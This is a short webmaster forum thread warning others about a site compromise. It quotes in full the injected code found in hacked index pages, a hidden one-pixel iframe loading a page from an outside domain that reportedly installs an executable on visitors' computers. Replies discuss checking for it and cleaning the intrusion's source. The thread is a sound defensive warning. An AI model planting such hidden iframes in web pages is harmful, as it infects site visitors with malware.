Check your sites' code for this virus code. MUST READ IF YOU ARE A WEBMASTER!
 

Guys:
a couple of my sites were hacked into a few days ago and the f*ckers put this code in the index pages:

<div style="visibility:hidden"><iframe src="http://us-counter.com/trf/" width=1 height=1></iframe></div>

This thing tries to install an executable to the surfer's computer via their browser (works on IE, not on FF)

Whoa, thanks for the heads up. Haven't seen that one around.

You can talk with your dogs through your mind but you cant notice a simple virus?

I recommend that you check your website's index pages source code and search for this snip of code.

you're welcome, KRL :)

btw czarina make sure you clean the source of the problem or your sites will likely just get reinfected , others have the pages rewritten after they are fixed within a few hours or at midnight

Interesting..... how did they get to your server and your code is what I'd like to know.